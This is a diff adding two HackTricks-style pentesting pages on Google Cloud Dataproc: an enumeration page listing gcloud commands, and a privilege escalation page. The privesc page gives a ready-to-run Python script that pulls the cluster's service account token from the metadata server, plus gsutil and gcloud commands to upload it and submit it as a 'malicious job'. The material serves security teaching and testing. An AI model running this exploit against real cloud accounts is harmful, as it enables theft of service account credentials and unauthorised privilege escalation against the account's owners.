grte-shamooo

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md

@@ -0,0 +1,56 @@
+# GCP Dataproc Privilege Escalation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dataproc
+
+{{#ref}}
+../gcp-services/gcp-dataproc-enum.md
+{{#endref}}
+
+### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` 
+
+I was unable to get a reverse shell using this method, however it is possible to leak SA token from the metadata endpoint using the method described below. 
+
+#### Steps to exploit
+
+- Place the job script on the GCP Bucket
+
+- Submit a job to a Dataproc cluster.
+
+- Use the job to access the metadata server.
+
+- Leak the service account token used by the cluster.
+
+```python
+import requests
+
+metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
+headers = {"Metadata-Flavor": "Google"}
+
+def fetch_metadata_token():
+    try:
+        response = requests.get(metadata_url, headers=headers, timeout=5)
+        response.raise_for_status()
+        token = response.json().get("access_token", "")
+        print(f"Leaked Token: {token}")
+        return token
+    except Exception as e:
+        print(f"Error fetching metadata token: {e}")
+        return None
+
+if __name__ == "__main__":
+    fetch_metadata_token()
+```
+
+```bash
+# Copy the script to the storage bucket
+gsutil cp <python-script> gs://<bucket-name>/<python-script>
+
+# Submit the malicious job
+gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
+    --cluster=<cluster-name> \
+    --region=<region>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md

@@ -0,0 +1,47 @@
+# GCP -  Dataproc Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Basic Infromation
+
+Google Cloud Dataproc is a fully managed service for running Apache Spark, Apache Hadoop, Apache Flink, and other big data frameworks. It is primarily used for data processing, querying, machine learning, and stream analytics. Dataproc enables organizations to create clusters for distributed computing with ease, integrating seamlessly with other Google Cloud Platform (GCP) services like Cloud Storage, BigQuery, and Cloud Monitoring.
+
+Dataproc clusters run on virtual machines (VMs), and the service account associated with these VMs determines the permissions and access level of the cluster.
+
+## Components
+
+A Dataproc cluster typically includes:
+
+Master Node: Manages cluster resources and coordinates distributed tasks.
+
+Worker Nodes: Execute distributed tasks.
+
+Service Accounts: Handle API calls and access other GCP services.
+
+## Enumeration
+
+Dataproc clusters, jobs, and configurations can be enumerated to gather sensitive information, such as service accounts, permissions, and potential misconfigurations.
+
+### Cluster Enumeration
+
+To enumerate Dataproc clusters and retrieve their details:
+
+```
+gcloud dataproc clusters list --region=<region>
+gcloud dataproc clusters describe <cluster-name> --region=<region>
+```
+
+### Job Enumeration
+
+```
+gcloud dataproc jobs list --region=<region>
+gcloud dataproc jobs describe <job-id> --region=<region>
+```
+
+### Privesc
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-dataproc-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}